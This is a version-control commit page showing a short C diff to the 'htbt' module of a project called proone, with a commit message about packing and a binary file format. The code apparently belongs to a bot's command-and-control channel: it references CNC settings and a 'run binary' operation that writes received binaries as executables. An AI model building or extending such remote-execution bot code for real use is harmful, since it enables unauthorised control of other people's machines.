diff options
author | David Timber <mieabby@gmail.com> | 2020-09-08 16:18:13 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-08 16:18:13 +0930 |
commit | 550d2eec27a42254b26139208765022fffe7c775 (patch) | |
tree | 3842addbbded988183405d37b9cc9c451ba919d9 /src/htbt.c | |
parent | 8eed8cde29960ace2ea1b2ceb61962be6f258364 (diff) |
* Remove proone-unpack
* self test is done by proone-pack
* Impl: htbt@proone
* htbt: allocate large buffer first by deault
* htbt: use 0600 for NY_BIN as the image is not an executable
* pack: return error when z_stream is cut short
* proone-pack: impl "nybin" file format
Diffstat (limited to 'src/htbt.c')
-rw-r--r-- | src/htbt.c | 12 |
1 files changed, 5 insertions, 7 deletions
@@ -730,18 +730,15 @@ static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) { static bool htbt_alloc_slv_iobuf (htbt_slv_ctx_t *ctx) { bool alloc; -#if 0 // TODO: switch on after testing - const size_t PAGESIZE = prne_getpagesize(); alloc = prne_alloc_iobuf( ctx->iobuf + 0, - PAGESIZE); + 2048); alloc &= prne_alloc_iobuf( ctx->iobuf + 1, - PAGESIZE); + 2048); if (alloc) { return true; } -#endif alloc = prne_alloc_iobuf( ctx->iobuf + 0, @@ -1074,7 +1071,9 @@ static bool htbt_slv_srv_bin ( } errno = 0; - path = ctx->cbset->tmpfile(bin_meta.bin_size, 0700); + path = ctx->cbset->tmpfile( + bin_meta.bin_size, + mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600); if (path == NULL) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; @@ -2447,7 +2446,6 @@ prne_htbt_t *prne_alloc_htbt ( if (w == NULL || param.cb_f.cnc_txtrec == NULL || param.lbd_ssl_conf == NULL || - param.cncp_ssl_conf == NULL || param.main_ssl_conf == NULL || param.ctr_drbg == NULL || param.blackhole < 0) |